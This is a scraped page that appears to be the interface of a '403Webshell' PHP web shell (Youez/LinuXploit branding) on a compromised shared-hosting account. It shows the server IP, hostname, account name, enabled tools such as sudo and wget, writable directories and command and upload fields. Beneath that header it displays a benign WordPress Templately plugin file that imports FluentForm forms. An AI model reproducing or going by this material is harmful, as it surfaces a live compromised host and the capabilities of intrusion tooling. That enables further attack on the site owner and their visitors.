403Webshell
Server IP : 108.167.142.43  /  Your IP : 216.73.217.58
Web Server : Apache
System : Linux gator4174.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : delarice ( 2406)
PHP Version : 8.3.36
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home2/delarice/www/wp-content/plugins/templately/modules/full-site-import/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/delarice/www/wp-content/plugins/templately/modules/full-site-import/Utils/Form.php
<?php

namespace Templately\Modules\FullSiteImport\Utils;

use Exception;
use FluentForm\App\Services\Transfer\TransferService;
use FluentForm\Framework\Request\File;
use Templately\Utils\Helper;

class Form {
	protected $plugin;
	protected $file;
	protected $settings = [];

	public function __construct( $plugin, $file, $settings = [] ) {
		$this->plugin   = $plugin;
		$this->file     = $file;
		$this->settings = $settings;
	}

	/**
	 * @throws Exception
	 */
	public function run() {
		if ( ! file_exists( $this->file ) ) {
			throw new Exception( __( 'Form JSON does not exists.', 'templately' ) );
		}

		$data = $this->import();

		if ( ! $data ) {
			throw new Exception( __( 'Cannot be imported.', 'templately' ) );
		}

		return $data;
	}

	public function import() {
		try {
			$results = null;
			switch ( $this->plugin ) {
				// `finfo` (the PHP `fileinfo` extension) is required: FluentForm's
				// File::__construct() resolves the MIME type via `new finfo()`, which
				// fatals if the extension is missing. Guard it so we skip the form
				// import instead of crashing the whole site import.
				case 'fluent-forms' && is_plugin_active( 'fluentform/fluentform.php' ) && class_exists( File::class ) && class_exists( TransferService::class ) && class_exists( 'finfo' ):
					$fileObject = new File( $this->file, '' );
					$importer   = new TransferService();
					$inserted   = $importer->importForms( $fileObject );
					$results    = key( $inserted['inserted_forms'] );
					break;
				default:
					break;
			}

			return $results;

		} catch ( \Throwable $e ) {
			// \Throwable, not \Exception: a fatal \Error raised inside the third-party
			// form importer (a missing class or constant) is NOT an Exception, so the
			// old catch could not contain it and one broken form aborted the entire
			// site import.
			//
			// This swallows the failure by design — a form that cannot be imported must
			// not stop the site import — but silence made every such failure invisible,
			// so it is logged before being dropped.
			Helper::log(
				sprintf( 'Form import failed (%s): %s', $this->plugin, $e->getMessage() ),
				'fsi',
				'error'
			);

			return null;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit